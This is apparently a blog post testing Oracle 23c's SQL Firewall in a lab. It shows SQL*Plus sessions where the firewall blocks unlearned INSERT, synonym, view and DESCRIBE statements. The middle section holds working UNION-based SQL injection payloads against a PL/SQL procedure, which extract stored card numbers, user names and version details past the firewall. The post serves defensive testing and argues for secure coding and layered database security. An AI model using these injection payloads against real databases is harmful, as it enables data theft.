In this third part we are going to test the SQL Firewall. We have installed it, created a capture and set the allowed SQL in Part 2 and of course gone through a simple learning phase as part of that. In the learning phase we deliberately only added three statements; a "select count(*)..." on customers and "select * ..." on customers as well as executing our CUSTA PL/SQL procedure. This was to keep it simple to see the high level structure of what it does. Our application user VM has SELECT and INSERT on the ORABLOG.CUSTOMERS table but we only allowed SELECT in the SQL Firewall rules and we want to distinguish between a failed UPDATE on CUSTOMERS because VM doesn't have the grant and a failed INSERT on CUSTOMERS because it does have the grant but it is not in the SQL Firewall rules. This reflects the case where you do not control the design and rights for an application but you do control the SQL Firewall.
The SQL Firewall is in blocking mode but it will still log what happens.
First lets just check for any violations before we test as VM:
SQL> get vio.sql
1 -- vio.sql - violations
2 col sql_text for a90
3 col accessed_objects for a30
4 col current_user for a10
5 col top_level for a3
6 col username for a10
7 col client_program for a12
8 col os_user for a8
9 col ip_address for a12
10 col command_type for a8
11 col firewall_action for a10
12 col cause for a20
13 col occurred_at for a20
14 set lines 220
15 select username,
16 command_type,
17 sql_text,
18 accessed_objects,
19 current_user,
20 top_level,
21 ip_address,
22 client_program,
23 os_user,
24 cause,
25 firewall_action,
26 to_char(occurred_at,'DD-MON-YY HH24:MI:SS') occurred_at
27* from dba_sql_firewall_violations
28 .
SQL> @vio
no rows selected
SQL>
OK, lets do the same 3 actions we did during the learning phase and see what happens. We should be able to do these actions as this is what we added as "allowed SQL"
Lets do it:
SQL> connect vm/vm@//192.168.56.18:1521/freepdb1
Connected.
SQL> select count(*) from orablog.customer;
COUNT(*)
----------
3
SQL> select * from orablog.customer;
FULLNAME FIRSTNAME LASTNAME
------------------------------ ------------------------------ ------------------------------
Pete Finnigan Pete Finnigan
Zulia Finnigan Zulia Finnigan
Eric Finnigan Eric Finnigan
SQL> set serveroutput on
SQL> exec orablog.custa('Finnigan');
name:=[Pete Finnigan]
name:=[Zulia Finnigan]
PL/SQL procedure successfully completed.
SQL>
So far everything works as planned. What if we now try an INSERT on ORABLOG.CUSTOMER that is allowed via the grant given to VM but not allowed in the SQL Firewall allowed SQL:
SQL> sho user
USER is "VM"
SQL> insert into orablog.customer(fullname,firstname,lastname) values('Emil Finnigan','Emil','Finnigan');
insert into orablog.customer(fullname,firstname,lastname) values('Emil Finnigan','Emil','Finnigan')
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL>
OK, thats good. We were blocked by the firewall even though we have permission to do an INSERT. What does the violations table show:
SQL> @vio
no rows selected
SQL>
SQL> sho user
USER is "SQL_F"
SQL> @vio.sql
USERNAME COMMAND_ SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- -------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
VM INSERT INSERT INTO ORABLOG.CUSTOMER (FULLNAME,FIRSTNAME,LASTNAME) VALUES (:"SYS_B_0",:"SYS_B_1",: "ORABLOG"."CUSTOMER" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
"SYS_B_2")
Blocked 14-JUN-23 14:55:00
SQL>
NOTE: I ran the script vio.sql that queries the DBA_SQL_FIREWALL_VIOLATIONS after the SQL Firewall trapped the error and it said no rows. I then ran "sho user" and ran my vio.sql script again and the violation showed up. There is clearly a lag or delay from capturing the violation to it being visible in the SQL Firewall reporting. Hmmmm
Next let us test an UPDATE. In this case my user VM does not have UPDATE rights on ORABLOG.CUSTOMER and the SQL Firewall also does not allow this as a rule. Lets see:
SQL> sho user
USER is "VM"
SQL> update orablog.customer set firstname='Ericc' where firstname='Eric';
update orablog.customer set firstname='Ericc' where firstname='Eric'
*
ERROR at line 1:
ORA-41900: missing UPDATE privilege on "ORABLOG"."CUSTOMER"
SQL>
This is great, we get the permission error and not an error from the SQL Firewall. This is the right approach as we should get stopped by permission first, then SQL Firewall.
Can we access a table that we created as ORABLOG called CREDIT_CARD from the user VM:
SQL> connect vm/vm@//192.168.56.18:1521/freepdb1
Connected.
SQL> select * from orablog.credit_card;
select * from orablog.credit_card
*
ERROR at line 1:
ORA-00942: table or view does not exist
SQL>
We get an ORA-00942 error that the table does not exist and no SQL Firewall violation. This is good as with the UPDATE as we got an ORA error and not a SQL Firewall error. Or is it good? - my view on that later in the conclusion at the end.
What about the PL/SQL procedure that we used as a sample in the allowed SQL list. Can we access data that we should not be allowed to because of permissions or indeed because of SQL Firewall rules. What if we try and SQL Inject this procedure? Lets try and use it again as normal and then send a single quote:
SQL> sho user
USER is "VM"
SQL> set serveroutput on
SQL> exec orablog.custa('Finnigan');
name:=[Pete Finnigan]
name:=[Zulia Finnigan]
PL/SQL procedure successfully completed.
SQL> exec orablog.custa(');
ERROR:
ORA-01756: quoted string not properly terminated
SQL>
The correct use worked of course and the single quote gave us an ORA-01756 error. What is interesting about that error is that the OCI client generated that error not the database (The old fashioned OCI - Oracle Call Interface not Cloud). What if we try and access the PAN column:
SQL> exec orablog.custa('x'' union select pan from orablog.credit_card--');
BEGIN orablog.custa('x'' union select pan from orablog.credit_card--'); END;
*
ERROR at line 1:
ORA-01790: expression must have same datatype as corresponding expression
ORA-06512: at "ORABLOG.CUSTA", line 9
ORA-06512: at line 1
SQL>
This is an Oracle error and there is no SQL Firewall violation. The issue is the PAN is stored as RAW and i need to convert it to see it:
SQL> exec orablog.custa('x'' union select utl_raw.cast_to_varchar2(utl_raw.cast_to_raw(pan)) from orablog.credit_card--');
name:=[3742345698766678]
name:=[4049877198543457]
PL/SQL procedure successfully completed.
SQL>
Hmmm, success (as an attacker). I am able to access a table that is not in the allowed SQL list and I am able to do SQL Injection successfully. Also there is no violation generated for the SQL Firewall. The SQL Firewall is enabled and the allow list is also enabled in blocking mode:
SQL> select * from dba_sql_firewall_allow_lists;
USERNAME GENERATED_ON STATUS STATUS_UPDATED_ON
TOP_LEVEL_ONLY ENFORCE BLOCK
---------- --------------------------------------------------------------------------- -------- --------------------------------------------------------------------------- -------------- --------------- --------------
VM 14-JUN-23 02.06.10.310652 PM +00:00 ENABLED 14-JUN-23 01.55.00.283608 PM +00:00
Y ENFORCE_SQL Y
SQL> select * from dba_sql_firewall_status;
STATUS STATUS_UPDATED_ON EXCLUDE_JOBS
-------- --------------------------------------------------------------------------- ------------
ENABLED 14-JUN-23 10.51.37.098847 AM +00:00 Y
SQL>
Let us try some more SQL Injection hacks:
SQL> exec orablog.custa('x'' union select username from all_users--');
name:=[SYS]
name:=[AUDSYS]
name:=[SYSTEM]
name:=[SYSBACKUP]
name:=[SYSDG]
name:=[SYSKM]
...
name:=[ORABLOG]
name:=[VM]
name:=[SQL_F]
PL/SQL procedure successfully completed.
SQL>
SQL> exec orablog.custa('x'' union select banner from v$version--');
name:=[Oracle Database 23c Free, Release 23.0.0.0.0 - Developer-Release]
PL/SQL procedure successfully completed.
SQL>
SQL> exec orablog.custa('x'' union select object_name||''-''||object_type from user_objects--');
name:=[CREDIT_CARD-TABLE]
name:=[CUSTOMER-TABLE]
name:=[CUSTA-PROCEDURE]
PL/SQL procedure successfully completed.
SQL>
If we try and access these from the user VM direct what happens:
SQL> sho user
USER is "VM"
SQL> select username from all_users;
select username from all_users
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL> select banner from v$version;
select banner from v$version
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL> select object_name||'-'||object_type from user_objects;
select object_name||'-'||object_type from user_objects
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL>
All of these fail and generate SQL Firewall violations (note: the check of user_objects is here as VM but in the SQL Injection as ORABLOG because its a defined rights procedure so actually ran as ORABLOG, hence we could see the ORABLOG.CREDIT_CARD table earlier). The violations are here along with the INSERT on CUSTOMER we did earlier:
SQL> @vio
USERNAME COMMAND_ SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- -------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
VM SELECT SELECT BANNER FROM V$VERSION "SYS"."V_$VERSION" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:35:34
VM SELECT SELECT USERNAME FROM ALL_USERS "SYS"."ALL_USERS" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:35:23
VM INSERT INSERT INTO ORABLOG.CUSTOMER (FULLNAME,FIRSTNAME,LASTNAME) VALUES (:"SYS_B_0",:"SYS_B_1",: "ORABLOG"."CUSTOMER" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
"SYS_B_2")
Blocked 14-JUN-23 14:55:00
USERNAME COMMAND_ SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- -------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
VM SELECT SELECT OBJECT_NAME||:"SYS_B_0"||OBJECT_TYPE FROM USER_OBJECTS "SYS"."USER_OBJECTS" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:35:55
SQL>
What about access to an object we have permission to access BUT via a synonym. First create a public synonym for ORABLOG.CUSTOMERS and then do a SELECT on it as VM:
SQL> sho user
USER is "SYS"
SQL> create public synonym cust for orablog.customer;
Synonym created.
SQL>
SQL> sho user
USER is "VM"
SQL> select * from cust;
select * from cust
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL>
Hmmm, that is a bit disappointing. I expected that I would be able to use a SYNONYM to access a table that I have already been allowed to access in the SQL Firewall rules. What if we create a view as VM and access the CUSTOMER table via the VIEW
SQL> sho user
USER is "SYS"
SQL> grant create view to vm;
Grant succeeded.
SQL>
SQL> sho user
USER is "VM"
SQL> create view custv as select * from orablog.customer;
create view custv as select * from orablog.customer
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL>
OK, the SQL Firewall blocked the creation of the view as VM and created a SQL Firewall violation. The violation shows:
SQL> @vio
USERNAME COMMAND_TYPE SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- --------------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
VM SELECT SELECT BANNER FROM V$VERSION "SYS"."V_$VERSION" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:35:34
VM SELECT SELECT USERNAME FROM ALL_USERS "SYS"."ALL_USERS" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:35:23
VM INSERT INSERT INTO ORABLOG.CUSTOMER (FULLNAME,FIRSTNAME,LASTNAME) VALUES (:"SYS_B_0",:"SYS_B_1",: "ORABLOG"."CUSTOMER" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
"SYS_B_2")
Blocked 14-JUN-23 14:55:00
USERNAME COMMAND_TYPE SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- --------------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
VM SELECT SELECT OBJECT_NAME||:"SYS_B_0"||OBJECT_TYPE FROM USER_OBJECTS "SYS"."USER_OBJECTS" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:35:55
VM SELECT SELECT * FROM CUST "ORABLOG"."CUSTOMER" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 11:56:34
VM CREATE VIEW CREATE VIEW CUSTV AS SELECT * FROM ORABLOG.CUSTOMER "ORABLOG"."CUSTOMER" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 12:00:05
USERNAME COMMAND_TYPE SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- --------------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
6 rows selected.
SQL>
This shows that the CREATE VIEW failed and most likely because we did not do CREATE VIEW in the learning phase. Let us create the view as SYS in the VM schema and then try and access it:
SQL> sho user
USER is "SYS"
SQL> create view vm.custv as select * from orablog.customer;
View created.
SQL>
SQL> sho user
USER is "VM"
SQL> select * from custv;
select * from custv
*
ERROR at line 1:
ORA-47605: SQL Firewall violation
SQL>
Hmmm, so we cannot access ORABLOG.CUSTOMER via the view CUSTV. Its the same SQL that we added in the learning phase in terms of what it does, i.e. get all data from ORABLOG.CUSTOMER but its not the same as it is a view.
So we cannot access the effective SQL via a synonym or a view. We must add these to the learning phase if we need them. What if we want to simply describe a table we have permissions on (SELECT and INSERT) but only have SELECT in the SQL Firewall rules:
SQL> sho user
USER is "VM"
SQL>
SQL> desc orablog.customer
ERROR:
ORA-47605: SQL Firewall violation
SQL>
We cannot describe the table because the desc command runs SQL in the background and its captured in the violations:
SQL> @vio
...
USERNAME COMMAND_TYPE SQL_TEXT ACCESSED_OBJECTS CURRENT_US TOP IP_ADDRESS CLIENT_PROGR OS_USER CAUSE
---------- --------------- ------------------------------------------------------------------------------------------ ------------------------------ ---------- --- ------------ ------------ -------- --------------------
FIREWALL_A OCCURRED_AT
---------- --------------------
...
VM DESCRIBE DESCRIBE ORABLOG.CUSTOMER "ORABLOG"."CUSTOMER" VM Y 192.168.56.1 sqlplus.exe Pete SQL violation
Blocked 16-JUN-23 12:07:42
...
8 rows selected.
SQL>
So we cannot describe a table because it was not in the learning phase. The rules of permissions are that if you have SELECT you can describe the table BUT the SQL Firewall says that if you do describe which was not learned then you cannot do it. I am not sure on that. I have permission to do something like access data on a synonym or describe a table because I have select permissions. BUT because I didn't do those exact commands in the learning I cannot do it.
In conclusion as you will see from these simple examples using the SQL Firewall is complex. It must be set up correctly for all use cases and careful use of SQL blocking or context blocking or both must be done. The learning phase is also complex. Also remember that the SQL Firewall only blocks what you teach it to block. So if you do work as a completely different user and its not learned it wont work. We could add the user to the context of course but in the cases where the SQL is random this type of SQL Firewall is not going to be easy to set up and use.
Also remember that we must harden the database, design for data security, secure code, design and use audit trails and if we have licenses use context based security such as VPD, DV, TDSP, OLS...The SQL Firewall is the final layer and can be very useful if the application is not owned and controlled by you so you cannot change the permissions... BUT you should do normal Oracle database security first and not just rely on the firewall.
The 41900 and the 942 show the correct errors BUT this is not firewall behaviour? or is it? or is it at least a learning curve. A firewall on the network or at least activity monitoring tool (DAM) will log or trap all statements. When I investigate a breach of an Oracle database and do forensic analysis I want to see the complete picture, not just the final successful attack or more correctly the attack that was blocked but I want to see all of the steps before that. In the examples above when we try and INSERT into the CUSTOMER table its not allowed by the SQL Firewall so we get a Firewall violation. When we try and do an UPDATE on CUSTOMER we get an Oracle error ORA-41900 and no violation and when we try and access the CREDIT_CARD table we get an ORA-00942 error and no Firewall violation. This is correct as the firewall should not log everything that happens, that's the job of your audit trail and other logging. The SQL Firewall blocks things that are not allowed but it doesn't log everything that happens. This is your job and you need a comprehensive design that includes database security, data security design, patching, hardening, secure code, audit trail designs and the SQL Firewall. When we have all of these layers we can consider context based data security
Remember do not allow hacking during the learning phase as it becomes allowed SQL
In real life put the SQL Firewall in reporting mode first to see what's captured!!
In summary; describe? should it be allowed?; a synonym that is "select * from..." should it be allowed without extra learning; pre-attack actions blocked by permissions must be considered with SQL Firewall logs as part of an overall attack; We bypassed the SQL Firewall and permissions with SQL Injection, yes the answer is secure coding, binds etc but of you do not own the application then what?
I have so many notes on this that I have decided to issue a part 4 as well; watch for that soon!!
#23c #oracleace #dbsec #oracle #security #firewall #databreach #forensics
